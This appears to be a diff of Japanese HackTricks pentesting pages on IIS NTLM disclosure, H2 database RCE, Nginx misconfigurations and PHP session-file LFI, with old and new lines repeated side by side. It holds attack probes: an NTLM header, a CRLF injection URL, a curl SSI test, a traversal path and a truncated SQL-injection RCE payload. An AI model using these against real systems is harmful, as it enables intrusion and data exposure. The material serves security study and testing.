**ヘッダーを送信します**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` そして、**NTLM認証の動作**により、サーバーは内部情報IISバージョン、Windowsバージョン...)を「WWW-Authenticate」ヘッダー内で応答します。\ **ヘッダーを送信します**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` そして、**NTLM認証の動作**により、サーバーは内部情報IISバージョン、Windowsバージョン...)をヘッダー"WWW-Authenticate"内で応答します。\
この操作は、**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。 この操作は、**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。
**HTTPリダイレクト (CTF)** **HTTPリダイレクト (CTF)**
@ -341,7 +343,7 @@ _ブルートフォースやスパイダーリング中に新しいディレク
### ウェブ脆弱性の確認 ### ウェブ脆弱性の確認
ウェブアプリケーションの包括的な列挙が行われたので、さまざまな可能性のある脆弱性を確認する時が来ました。チェックリストはここにあります: ウェブアプリケーションの包括的な列挙が行われたので、多くの可能性のある脆弱性を確認する時が来ました。チェックリストはここにあります:
{% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %} {% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
[web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md) [web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
@ -357,11 +359,13 @@ _ブルートフォースやスパイダーリング中に新しいディレク
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)のようなツールを使用して、脆弱性を挿入する可能性のある変更を監視できます。 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)のようなツールを使用して、脆弱性を挿入する可能性のある変更を監視できます。
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい場合 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを評価
{% embed url="https://www.stmcyber.com/careers" %} **重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権をエスカレートさせるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### HackTricks自動コマンド ### HackTricks自動コマンド
``` ```
@ -443,7 +447,7 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,29 +1,33 @@
# H2 - Java SQLデータベース # H2 - Java SQLデータベース
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>HackTricksをサポートする</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details> </details>
{% endhint %} {% endhint %}
公式ページ: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html) <figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
公式ページ:[https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
## アクセス ## アクセス
**無効なデータベース名**を指定することで、**有効な認証情報なしで新しいデータベースを作成**できます(**未認証**: **無効なデータベース名を指定する**ことで、**有効な認証情報なしで新しいデータベースを作成する**ことができます(**未認証**
![](<../../.gitbook/assets/image (131).png>) ![](<../../.gitbook/assets/image (131).png>)
また、例えば**mysqlが実行中**で、その**データベース名**と**認証情報**がわかっている場合は、直接アクセスできます: また、例えば**mysqlが実行中であることを知っていて**、そのデータベースの**名前**と**認証情報**を知っている場合は、単にアクセスできます:
![](<../../.gitbook/assets/image (201).png>) ![](<../../.gitbook/assets/image (201).png>)
@ -31,9 +35,9 @@ _**HTBのボックスHawkからのトリック。**_
## **RCE** ## **RCE**
H2データベースと通信するアクセスがある場合、これを利用してRCEを取得するエクスプロイトを確認してください: [https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed) H2データベースと通信するアクセスがある場合、これを利用してRCEを取得するためのエクスプロイトを確認してください:[https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed](https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed)
## H2 SQLインジェクションによるRCE ## H2 SQLインジェクションからRCEへ
[**この投稿**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)では、**SQLインジェクション**を悪用して**H2データベース経由でRCEを取得する**ペイロードが説明されています。 [**この投稿**](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/)では、**SQLインジェクション**を悪用して**H2データベース経由でRCEを取得する**ペイロードが説明されています。
```json ```json
@ -46,6 +50,10 @@ H2データベースと通信するアクセスがある場合、これを利用
}, },
[...] [...]
``` ```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンからレポーティングまでの機能を提供します。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a> ## ルートロケーションの欠如 <a href="#missing-root-location" id="missing-root-location"></a>
Nginxサーバーを構成する際、**rootディレクティブ**はファイルが提供される基本ディレクトリを定義する重要な役割を果たします。以下の例を考えてみてください: Nginxサーバーを構成する際、**rootディレクティブ**はファイルが提供される基本ディレクトリを定義する重要な役割を果たします。以下の例を考えてみてください:
```bash ```bash
server { server {
root /etc/nginx; root /etc/nginx;
@ -34,9 +36,9 @@ proxy_pass http://127.0.0.1:8080/;
} }
} }
``` ```
この構成では、`/etc/nginx` がルートディレクトリとして指定されています。この設定により、`/hello.txt` のような指定されたルートディレクトリ内のファイルにアクセスできます。ただし、特定の場所(`/hello.txt`)のみが定義されていることに注意することが重要です。ルートの場所(`location / {...}`)に関する設定はありません。この省略により、ルートディレクティブはグローバルに適用され、ルートパス `/` へのリクエストが `/etc/nginx` の下のファイルにアクセスできるようになります。 この構成では、`/etc/nginx` がルートディレクトリとして指定されています。この設定により、`/hello.txt` のような指定されたルートディレクトリ内のファイルにアクセスできます。しかし、特定の場所(`/hello.txt`)のみが定義されていることに注意することが重要です。ルートロケーション(`location / {...}`)の設定はありません。この省略により、ルートディレクティブはグローバルに適用され、ルートパス `/` へのリクエストが `/etc/nginx` の下のファイルにアクセスできるようになります。
この構成から生じる重要なセキュリティ上の考慮事項があります。`GET /nginx.conf` のような単純な `GET` リクエストは、`/etc/nginx/nginx.conf` にある Nginx 設定ファイルを提供することによって、機密情報を露出させる可能性があります。ルートを `/etc` のようなあまり機密性の高くないディレクトリに設定することで、このリスクを軽減できますが、それでも他の重要なファイル、他の設定ファイル、アクセスログ、さらには HTTP ベーシック認証に使用される暗号化された資格情報への意図しないアクセスを許可する可能性があります。 この構成から生じる重要なセキュリティ上の考慮事項があります。`GET /nginx.conf` のような単純な `GET` リクエストは、`/etc/nginx/nginx.conf` にある Nginx 設定ファイルを提供すること、機密情報を露出させる可能性があります。ルートを `/etc` のようなあまり機密性の高くないディレクトリに設定することで、このリスクを軽減できますが、それでも他の重要なファイル、他の設定ファイル、アクセスログ、さらには HTTP ベーシック認証に使用される暗号化された資格情報への意図しないアクセスを許可する可能性があります。
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a> ## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
@ -100,7 +102,7 @@ location / {
return 302 https://example.com$uri; return 302 https://example.com$uri;
} }
``` ```
HTTPリクエストにおいて、文字 \r (キャリッジリターン) と \n (ラインフィード) は新しい行の文字を示し、そのURLエンコード形式は `%0d%0a` として表されます。これらの文字をリクエストに含めると (例: `http://localhost/%0d%0aDetectify:%20clrf`)、誤って設定されたサーバーは `Detectify` という新しいヘッダーを発行します。これは、$uri 変数がURLエンコードされた新しい行の文字をデコードするため、レスポンスに予期しないヘッダーが含まれることになります: HTTPリクエストにおける文字 \r (キャリッジリターン) と \n (ラインフィード) は新しい行の文字を示し、そのURLエンコード形式は `%0d%0a` として表されます。これらの文字をリクエストに含めると (例: `http://localhost/%0d%0aDetectify:%20clrf`)、誤って設定されたサーバーは `Detectify` という新しいヘッダーを発行します。これは、$uri 変数がURLエンコードされた新しい行の文字をデコードするため、レスポンスに予期しないヘッダーが含まれることになります:
``` ```
HTTP/1.1 302 Moved Temporarily HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3 Server: nginx/1.19.3
@ -112,7 +114,7 @@ Detectify: clrf
``` ```
CRLFインジェクションとレスポンススプリッティングのリスクについて詳しくは、[https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)を参照してください。 CRLFインジェクションとレスポンススプリッティングのリスクについて詳しくは、[https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)を参照してください。
また、この技術は[**このトークで説明されています**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77)が、いくつかの脆弱な例と検出メカニズムが示されています。例えば、ブラックボックスの点からこの誤設定を検出するために、次のリクエストを使用できます: また、この技術は[**このトークで説明されています**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77)が、いくつかの脆弱な例と検出メカニズムが示されています。例えば、ブラックボックスの点からこの誤設定を検出するために、次のリクエストを使用できます:
* `https://example.com/%20X` - 任意のHTTPコード * `https://example.com/%20X` - 任意のHTTPコード
* `https://example.com/%20H` - 400 Bad Request * `https://example.com/%20H` - 400 Bad Request
@ -132,7 +134,7 @@ location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args; proxy_pass http://lite-backend$uri$is_args$args;
} }
``` ```
* 再度**`$uri`**がURLに含まれていることに注意してください今回はパラメータ内です * 再**`$uri`** がURLに含まれていることに注意してください今回はパラメータ内です
``` ```
location ~ ^/dna/payment { location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break; rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
@ -146,9 +148,9 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
``` ```
### Any variable ### Any variable
**ユーザー提供データ**が特定の状況下で**Nginx変数**として扱われる可能性があることが発見されました。この動作の原因はやや不明ですが、珍しいことではなく、確認するのも簡単ではありません。この異常はHackerOneのセキュリティレポートで強調されており、[こちら](https://hackerone.com/reports/370094)で見ることができます。エラーメッセージのさらなる調査により、[NginxのコードベースのSSIフィルターモジュール](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365)内での発生が特定され、サーバーサイドインクルードSSIが根本的な原因であることが明らかになりました。 **ユーザー提供データ**が特定の状況下で**Nginx変数**として扱われる可能性があることが発見されました。この動作の原因はやや不明ですが、珍しいことではなく、確認するのも簡単ではありません。この異常はHackerOneのセキュリティレポートで強調されており、[こちら](https://hackerone.com/reports/370094)で見ることができます。エラーメッセージのさらなる調査により、[NginxのコードベースのSSIフィルターモジュール](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365)内での発生が特定され、サーバーサイドインクルードSSIが根本原因であることが明らかになりました。
この**誤設定を検出するために**、変数の印刷をテストするためにリファラーヘッダーを設定する以下のコマンドを実行できます: この**誤設定を検出するために**、変数の印刷をテストするためにリファラーヘッダーを設定するコマンドを実行できます:
```bash ```bash
$ curl -H Referer: bar http://localhost/foo$http_referer | grep foobar $ curl -H Referer: bar http://localhost/foo$http_referer | grep foobar
``` ```
@ -156,9 +158,9 @@ $ curl -H Referer: bar http://localhost/foo$http_referer | grep foobar
## 生のバックエンドレスポンスの読み取り ## 生のバックエンドレスポンスの読み取り
Nginxは、バックエンドによって生成されたエラーやHTTPヘッダーを傍受するための機能を`proxy_pass`を通じて提供し、内部エラーメッセージやヘッダーを隠すことを目的としています。これは、Nginxがバックエンドエラーに応じてカスタムエラーページを提供することによって実現されます。しかし、Nginxが無効なHTTPリクエストに遭遇すると、課題が生じます。そのようなリクエストは、受信した通りにバックエンドに転送され、バックエンドの生のレスポンスはNginxの介入なしにクライアントに直接送信されます。 Nginxは、バックエンドによって生成されたエラーやHTTPヘッダーを傍受することを可能にする`proxy_pass`を通じて機能を提供し、内部エラーメッセージやヘッダーを隠すことを目的としています。これは、Nginxがバックエンドエラーに応じてカスタムエラーページを提供することによって実現されます。しかし、Nginxが無効なHTTPリクエストに遭遇すると、課題が生じます。そのようなリクエストは、受信した通りにバックエンドに転送され、バックエンドの生のレスポンスはNginxの介入なしにクライアントに直接送信されます。
uWSGIアプリケーションに関する例のシナリオを考えてみましょう: uWSGIアプリケーションに関する例を考えてみましょう
```python ```python
def application(environ, start_response): def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')]) start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
@ -173,21 +175,21 @@ proxy_hide_header Secret-Header;
} }
``` ```
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): このディレクティブは、Nginxがステータスコードが300を超えるバックエンドレスポンスに対してカスタムレスポンスを提供できるようにします。これにより、例として挙げたuWSGIアプリケーションに対して、`500 Error`レスポンスがNginxによってインターセプトされ、処理されることが保証されます。 * [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): このディレクティブは、Nginxがステータスコードが300を超えるバックエンドレスポンスに対してカスタムレスポンスを提供できるようにします。これにより、例として挙げたuWSGIアプリケーションに対して、`500 Error`レスポンスがNginxによってインターセプトされ、処理されることが保証されます。
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): 名前が示すように、このディレクティブは指定されたHTTPヘッダーをクライアントから隠し、プライバシーとセキュリティを強化します。 * [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): 名前が示すように、このディレクティブは指定されたHTTPヘッダーをクライアントから隠し、プライバシーとセキュリティを向上させます。
有効な`GET`リクエストが行われると、Nginxは通常通り処理し、秘密のヘッダーを明らかにすることなく標準のエラーレスポンスを返します。しかし、無効なHTTPリクエストはこのメカニズムをバイパスし、生のバックエンドレスポンスが露出し、秘密のヘッダーやエラーメッセージが含まれる結果となります。 有効な`GET`リクエストが行われると、Nginxは通常通り処理し、秘密のヘッダーを明らかにすることなく標準のエラーレスポンスを返します。しかし、無効なHTTPリクエストはこのメカニズムをバイパスし、生のバックエンドレスポンスが露出し、秘密のヘッダーやエラーメッセージが含まれる結果となります。
## merge\_slashesをオフに設定 ## merge\_slashesをオフに設定
デフォルトでは、Nginxの**`merge_slashes`ディレクティブ**は**`on`**に設定されており、URL内の複数のスラッシュを1つのスラッシュに圧縮します。この機能はURL処理を簡素化しますが、特にローカルファイルインクルージョンLFI攻撃に対して脆弱なアプリケーションの背後にあるNginxでの脆弱性を隠す可能性があります。セキュリティ専門家の**ダニー・ロビンソンとロテム・バー**は、このデフォルトの動作に関連する潜在的なリスクを指摘しています。特にNginxがリバースプロキシとして機能する場合です。 デフォルトでは、Nginxの**`merge_slashes`ディレクティブ**は**`on`**に設定されており、URL内の複数のスラッシュを1つのスラッシュに圧縮します。この機能はURL処理を簡素化しますが、特にローカルファイルインクルージョンLFI攻撃に対して脆弱なアプリケーションの背後にあるNginxでの脆弱性を隠す可能性があります。セキュリティ専門家の**ダニー・ロビンソンとロテム・バー**は、このデフォルトの動作に関連する潜在的なリスクを指摘しています。
このようなリスクを軽減するために、これらの脆弱性に対して感受性のあるアプリケーションに対して**`merge_slashes`ディレクティブをオフにする**ことが推奨されます。これにより、NginxはURL構造を変更することなくアプリケーションにリクエストを転送し、基盤となるセキュリティ問題を隠さないようにします。 このようなリスクを軽減するために、これらの脆弱性に対して感受性のあるアプリケーションに**`merge_slashes`ディレクティブをオフにする**ことが推奨されます。これにより、NginxはURL構造を変更することなくアプリケーションにリクエストを転送し、基盤となるセキュリティ問題を隠さないようにします。
詳細については、[ダニー・ロビンソンとロテム・バー](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)を確認してください。 詳細については、[ダニー・ロビンソンとロテム・バー](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)を確認してください。
### **Maclicious Response Headers** ### **Maclicious Response Headers**
[**この書き込み**](https://mizu.re/post/cors-playground)に示されているように、ウェブサーバーからのレスポンスに存在する場合、特定のヘッダーがNginxプロキシの動作を変更します。これらは[**ドキュメントで確認できます**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/) [**この書き込み**](https://mizu.re/post/cors-playground)に示されているように、ウェブサーバーからのレスポンスに存在する場合、特定のヘッダーがNginxプロキシの動作を変更します。これらは[**ドキュメント**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/)で確認できます
* `X-Accel-Redirect`: Nginxにリクエストを指定された場所に内部リダイレクトするよう指示します。 * `X-Accel-Redirect`: Nginxにリクエストを指定された場所に内部リダイレクトするよう指示します。
* `X-Accel-Buffering`: Nginxがレスポンスをバッファリングするかどうかを制御します。 * `X-Accel-Buffering`: Nginxがレスポンスをバッファリングするかどうかを制御します。
@ -259,12 +261,12 @@ deny all;
} }
``` ```
{% hint style="warning" %} {% hint style="warning" %}
`proxy_pass``http://backend:9999/socket.io` のような特定の **path** を指していても、接続は `http://backend:9999`確立されるため、**その内部エンドポイント内の他のパスに連絡することができます。したがって、proxy_pass URL にパスが指定されていても関係ありません。** `proxy_pass`が`http://backend:9999/socket.io`のような特定の**パス**を指していても、接続は`http://backend:9999`で確立されるため、**その内部エンドポイント内の他のパスに連絡することができます。したがって、proxy_passのURLにパスが指定されていても関係ありません。**
{% endhint %} {% endhint %}
## 自分で試してみる ## 自分で試してみる
Detectify は、Docker を使用してこの記事で説明されているいくつかの誤設定を持つ脆弱な Nginx テストサーバーをセットアップできる GitHub リポジトリを作成しました。自分で見つけてみてください! Detectifyは、Dockerを使用して、この記事で説明したいくつかの誤設定を持つ脆弱なNginxテストサーバーを自分でセットアップできるGitHubリポジトリを作成しました。自分で見つけてみてください!
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx) [https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
@ -272,11 +274,11 @@ Detectify は、Docker を使用してこの記事で説明されているいく
### [GIXY](https://github.com/yandex/gixy) ### [GIXY](https://github.com/yandex/gixy)
Gixy は Nginx 設定を分析するツールです。Gixy の主な目的は、セキュリティの誤設定を防ぎ、欠陥の検出を自動化することです。 GixyはNginxの設定を分析するツールです。Gixyの主な目的は、セキュリティの誤設定を防ぎ、欠陥の検出を自動化することです。
### [Nginxpwner](https://github.com/stark0de/nginxpwner) ### [Nginxpwner](https://github.com/stark0de/nginxpwner)
Nginxpwner は、一般的な Nginx の誤設定や脆弱性を探すためのシンプルなツールです。 Nginxpwnerは、一般的なNginxの誤設定や脆弱性を探すためのシンプルなツールです。
## 参考文献 ## 参考文献
@ -286,21 +288,23 @@ Nginxpwner は、一般的な Nginx の誤設定や脆弱性を探すための
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らに深く掘り下げ、シェルをポップし、楽しむための時間を戻すためにカスタムツール、検出および悪用モジュールを開発しています。 #### あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWS ハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP ハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks をサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**Telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を送信してください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -15,11 +15,15 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} #### あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る
## Cookies common location: **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## クッキーの一般的な場所:
これはphpMyAdminのクッキーにも当てはまります。 これはphpMyAdminのクッキーにも当てはまります。
@ -37,9 +41,9 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
``` ```
## PHPの比較をバイパスする ## PHPの比較をバイパスする
### 緩やかな比較/型ジャグリング ( == ) ### 緩比較/型ジャグリング ( == )
